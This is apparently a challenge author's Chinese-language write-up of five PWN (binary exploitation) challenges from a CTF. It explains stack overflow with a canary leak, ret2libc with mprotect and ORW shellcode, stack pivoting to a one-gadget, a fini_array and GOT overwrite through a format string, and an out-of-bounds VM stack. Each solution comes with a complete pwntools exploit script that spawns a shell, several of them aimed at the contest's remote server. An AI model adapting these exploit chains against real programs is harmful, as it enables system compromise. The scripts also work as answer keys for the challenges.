前言
本次比赛我出的PWN题大部分都是比较基础或者说中等的题,虽然有设计一些坑,但是这些“坑”都比较容易处理
cutebird
这道题是完全没有坑的,非常简单的ret2text + canary绕过
程序反编译伪代码如下
选项1有溢出,可以先溢出一个字节覆盖canary
的低位00字节来泄露canary
然后通过选项2向bss写入'/bin/sh\x00'
字符串
直接看IDA或者用ROPgadget
都能找到pop rdi;ret
这个gadget
exp
from pwn import *
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
file = "./cute"
#p = process(file)
elf = ELF(file, False)
p = remote("43.139.51.42", 32777)
def menu(idx):
sla(">> ", str(idx))
system = 0x0000000000401396
bin_sh = elf.sym["secret"]
rdi_ret = 0x000000000040124a
menu(1)
sl(cyclic(0x58))
ru(cyclic(0x58))
canary = u64(rc(8)) - 0xa
log("canary", canary)
menu(2)
sl("/bin/sh\x00")
menu(1)
payload = cyclic(0x58) + p64(canary) + flat(0, rdi_ret, bin_sh, system)
sd(payload)
ia()
签到愉快~Ciallo~(∠・ω< )⌒★
sandbox
其实我感觉这题是换汤不换药,只是把ret2text改成了ret2libc。给了一个超长的溢出同时把execve
调用给禁用了
因为我编译程序的时候是直接将libseccomp.a
静态链接到程序,所以程序本身有很多可用的gadget,我们可以先puts泄露libc地址然后再通过ORW rop链来读flag文件
泄露libc地址
rdi_ret = 0x000000000040d8a2
pl1 = cyclic(64) + flat(0, rdi_ret, elf.got["puts"], elf.sym["puts"], elf.sym["main"])
sla("How to get flag?\n", pl1)
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)
然后准备布置ORW rop链…wait!
诶?我去,程序和libc里都找不到'/flag\x00'
或者'flag\x00'
字符串啊😰
这我怎么利用?
诶!🤓☝️这时候就要介绍一个叫mprotect
的系统函数了,它的作用是修改内存段的权限。
那怎么用呢?
我们可以用它修改程序bss段的权限为RWX(可读可写可执行),然后调用read将我们的ORW shellcode写入bss段,最后执行ORW shellcode
rsi = 0x000000000002be51 + libc.address
rdx_r12 = 0x000000000011f2e7 + libc.address
bss = elf.bss() + 0x300
seg = bss & (~0xfff)
log("RWX_seg", seg)
mprotect = libc.sym["mprotect"]
read = libc.sym["read"]
pl2 = cyclic(64) + flat(0, rdi_ret, seg, rsi, 0x1000, rdx_r12, 7,0, mprotect,rdi_ret, 0, rsi, bss, rdx_r12, 0x100, 0, read, bss)
sla("How to get flag?\n", pl2)
pause()
sl(asm(shellcraft.cat("flag")))
其实这里用mmap
函数也是可以的,但是mmap
函数的参数量比较多,所以没用它
exp
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
file = "./sandbox"
libc = "./libc.so.6"
p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("", 23583)
rdi_ret = 0x000000000040d8a2
pl1 = cyclic(64) + flat(0, rdi_ret, elf.got["puts"], elf.sym["puts"], elf.sym["main"])
sla("How to get flag?\n", pl1)
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)
rsi = 0x000000000002be51 + libc.address
rdx_r12 = 0x000000000011f2e7 + libc.address
bss = elf.bss() + 0x300
seg = bss & (~0xfff)
log("RWX_seg", seg)
mprotect = libc.sym["mprotect"]
read = libc.sym["read"]
# debug("b *0x4015ad")
# pause()
pl2 = cyclic(64) + flat(0, rdi_ret, seg, rsi, 0x1000, rdx_r12, 7,0, mprotect,rdi_ret, 0, rsi, bss, rdx_r12, 0x100, 0, read, bss)
sla("How to get flag?\n", pl2)
pause()
sl(asm(shellcraft.cat("flag")))
ia()
moveup
这道题考的是栈迁移,首先来看主函数
能往bss段写0x3C的数据
跟进vuln发现有个16字节的溢出,也就是恰好能够覆盖栈指针和返回地址
那么思路比较清晰了
- 在最开始的时候写入泄露libc地址的ROP链
rdi_ret = 0x040117E
leave = 0x4011D3
pl1 = flat(0, rdi_ret, elf.got["puts"] ,elf.sym["puts"], elf.sym["main"])
sla("your name?", pl1)
- 接着我们把栈迁移到bss段,执行我们最开始写入的ROP链并接收libc地址
pl2 = cyclic(48) + flat(bss, leave)
sa("feedback~", pl2)
ru("participation!\n")
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)
- 再次来到
main
函数,我们写入执行system("/bin/sh")
的ROP链,然后再次把栈迁移到name
变量去执行ROP链,最后getshell
是这样的…吗?实际上这样做你会收到SIGSEGV
错误
为什么呢?因为system
函数调用需要的栈空间比较大,也许你会说name
前面还有那么长一段内存,但实际上这就是坑🤓☝️让你误以为是能执行system的
这里的预期解是打one gadget
因为one gadget
是直接找libc库中执行execveat("/bin/sh", cond, cond)
的代码片段来快速getshell,需要的栈空间没有system
那么大(后面两个参数cond表示约束条件)
输入one_gadget libc.so.6
来查看libc文件的所有one gadgets
下面的利用脚本里我选择的是第六个ogg
ogg的利用前提会打印出来,这里我们只需要控制rax寄存器的值为NULL就行了
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
exp
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
file = "./moveup"
libc = "./libc.so.6"
p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("43.139.51.42", 34517)
bss = elf.sym["name"]
rdi_ret = 0x040117E
leave = 0x4011D3
pl1 = flat(0, rdi_ret, elf.got["puts"] ,elf.sym["puts"], elf.sym["main"])
sla("your name?", pl1)
debug("b *0x4011D3")
pause()
pl2 = cyclic(48) + flat(bss, leave)
sa("feedback~", pl2)
ru("participation!\n")
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)
rax = 0x0000000000045eb0 + libc.address
sla("your name?", "S1nyer")
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
"""
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""
pl4 = flat(bss+0x300, rax, 0, libc.address + oggs[5]).ljust(48, b'\x00') + flat(bss-32, leave)
sa("feedback~", pl4)
ia()
fini_format
这道题其实说难也不难,主要是要知道Linux下glibc程序的执行流程(如下图所示)
提炼关键信息,上面这个图的意思就是:如果程序通过__libc_start_main
正常返回或是通过exit
函数退出时,都会调用fini_array
下的函数
知道这一点,那么这道题就很好做了
来看主函数,程序一开始就泄露了libc地址
那么我们的思路是劫持fini_array
为start
,然后再劫持printf@got
为system
函数地址
这时候再返回到main函数的时候,只需要输入字符串/bin/sh\x00
就能getshell了
对了,是在IDA的View -> Open subviews -> Segments找到fini_array
的地址
exp
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug")
file = "./fini_format"
libc = "./libc.so.6"
#p = process(file)
p = remote("43.139.51.42", 32781)
elf = ELF(file)
libc = ELF(libc)
ru("0x")
libc_base = int(rc(12),16) - libc.sym["read"]
lg("libcbase", libc_base)
system,binsh = get_sb()
ogg = libc_base + 0xebc81
print_got = elf.got["printf"]
fini_array = 0x403140
start = 0x401231
payload = fmtstr_payload(6, {fini_array:start, print_got:ogg}, write_size='short')
#debug("b *0x401259")
sd(payload)
sd("/bin/sh\x00")
ia()
baby_vm
爆零了,先给各位滑轨🙇♂️🙇♂️🙇♂️
关于虚拟机部分的逆向可以参考我的上一篇文章
HXCTF二进制出题小记·逆向篇
这里我主要讨论该VM存在的漏洞,主函数逻辑很简单,将用户输入的数据作为VM字节码直接执行
由于程序是用C++写的,虚拟机信息都在类里并且虚拟机指令实现都是virtual
虚函数,所以反编译出来的伪代码非常丑陋
下面是VM的构造函数
我们将下面两个结构体导入ida,然后修改参数a1的类型为VM*
struct CPU
{
uint64_t regs[16];
unsigned __int8 *ip;
uint64_t *sp;
uint64_t *bp;
bool power;
};
struct VM
{
void *vftable;
CPU _cpu;
};
这样代码的可读性就高多了
下面的函数就是interpret
函数,是VM的主分发器,用于解析VM字节码并执行对应的指令
然后发现程序的push
和pop
(9号和10号指令)没有越界检查并且push
是sp指针加一,pop
是sp指针减一
而我们的sp指针
是指向构造函数VM::VM
栈顶的,我们通过组合使用push
和pop
指令,可以达到栈溢出的效果
但是由于程序保护全开,我们还需要获得libc
上的地址,从哪里获得呢?
诶🤓☝️VM栈和程序栈在同一块内存空间,同时VM开辟的栈大小还是8*1024=8192
的大小,并且程序还没有用memset
清理栈,那么我们可以找一下栈上有没有残留的libc
地址
gdb启动!
我们在程序调用interpret
函数的位置下断点b *$rebase(0x13ED)
然后输入leakfind -o 0x2000 -d 1
来找出栈上的libc地址
要注意的是:并不是说随便找一个在libc上的地址就行了,这些地址值很有可能发生变动!!!
我的方法是多次运行查看地址,把结果保存到记事本,然后对比找出固定不变的那个地址,选它作为泄露值
这里我选取的是$rsp+0x1f48
的地址作为泄露值,经计算它是在VM栈的第997
块
由于程序实现了load
和store
指令(限制了栈索引在0<index<1024,不存在越界),我们可以直接将这个值读到CPU寄存器堆上
然后通过加减运算获得libc
基址和one gadget
的地址
最后通过pop
指令减sp指针
来将VM的栈越界,使它指向更深层次的函数栈。简单来说,我用下面的函数调用结构来演示,#0 函数地址是乱填的,主要看符号
#0 0x00006209cb92a2cd in VM::push()
#1 0x00006209cb92a3ed in VM::VM()
#2 0x00006209cb92a563 in main()
#3 0x00007731b4435d90 in __libc_start_call_main()
我们可以在push
或pop
这两个指令下断点(这两个函数的栈大小相同),然后计算要通过几次pop
运算,VM的栈指针才指向push
函数的返回地址,然后通过push
指令将one gadget
压入返回地址
这样就触发one gadget
来getshell了
exp
利用脚本
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['konsole', '-e', 'sh', '-c']
file = "./babyvm"
libc = "./libc.so.6"
p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("43.139.51.42", 32776)
from VMBuilder import *
debug("b *$rebase(0x13ED)")
libc_off = [997, 0x8aeed]
retaddr_off = 11
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
vm = VMBuilder()
vm.load(0, libc_off[0])
vm.sub_imm(0, libc_off[1])
vm.add_imm(0, oggs[5])
for _ in range(retaddr_off):
vm.pop(1)
vm.push(0)
#pause()
sla("it?", vm.dump())
ia()
VMBuilder 代码
from struct import pack
class VMBuilder:
def __init__(self):
self.buf = bytearray()
def _validate_registers(self, *regs):
for r in regs:
if not 0 <= r <= 15:
raise ValueError(f"Invalid register R{r} (0-15 only)")
def add(self, r1, r2):
"""ADD r1, r2"""
self._validate_registers(r1, r2)
self.buf += pack("<BBB", 1, r1, r2)
def add_imm(self, rx, imm):
"""ADD rX, imm"""
self._validate_registers(rx)
self.buf += pack("<BBQ", 2, rx, imm)
def sub(self, r1, r2):
self._validate_registers(r1, r2)
self.buf += pack("<BBB", 3, r1, r2)
def sub_imm(self, rx, imm):
self._validate_registers(rx)
self.buf += pack("<BBQ", 4, rx, imm)
def mul(self, r1, r2):
self._validate_registers(r1, r2)
self.buf += pack("<BBB", 5, r1, r2)
def mul_imm(self, rx, imm):
self._validate_registers(rx)
self.buf += pack("<BBQ", 6, rx, imm)
def mov(self, dst, src):
self._validate_registers(dst, src)
self.buf += pack("<BBB", 7, dst, src)
def ixor(self, r1, r2):
self._validate_registers(r1, r2)
self.buf += pack("<BBB", 8, r1, r2)
def push(self, rx):
self._validate_registers(rx)
self.buf += pack("<BB", 9, rx)
def pop(self, rx):
self._validate_registers(rx)
self.buf += pack("<BB", 10, rx)
def cmp(self, r1, r2):
self._validate_registers(r1, r2)
self.buf += pack("<BBB", 11, r1, r2)
def jmp(self, offset):
self.buf += pack("<Bh", 12, offset)
def jz(self, offset):
self.buf += pack("<Bh", 13, offset)
def jnz(self, offset):
self.buf += pack("<Bh", 14, offset)
def shiftL(self, rx, shift):
self._validate_registers(rx)
if not 0 <= shift <= 64:
raise ValueError("Shift amount must be 0-64")
self.buf += pack("<BBB", 15, rx, shift)
def shiftR(self, rx, shift):
self._validate_registers(rx)
if not 0 <= shift <= 64:
raise ValueError("Shift amount must be 0-64")
self.buf += pack("<BBB", 16, rx, shift)
def load(self, rx, offset):
self._validate_registers(rx)
self.buf += pack("<BBH", 17, rx, offset)
def store(self, rx, offset):
self._validate_registers(rx)
self.buf += pack("<BBH", 18, rx, offset)
def load2(self, r1, r2):
self._validate_registers(r1, r2)
self.buf += pack("<BBB", 19, r1, r2)
def store2(self, r1, r2):
self._validate_registers(r1, r2)
self.buf += pack("<BBB", 20, r1, r2)
def halt(self):
self.buf += pack("<B", 21)
def dump(self):
"""返回完整字节码副本"""
return bytes(self.buf)
def save(self, filename):
"""保存字节码到文件"""
with open(filename, 'wb') as f:
f.write(self.dump())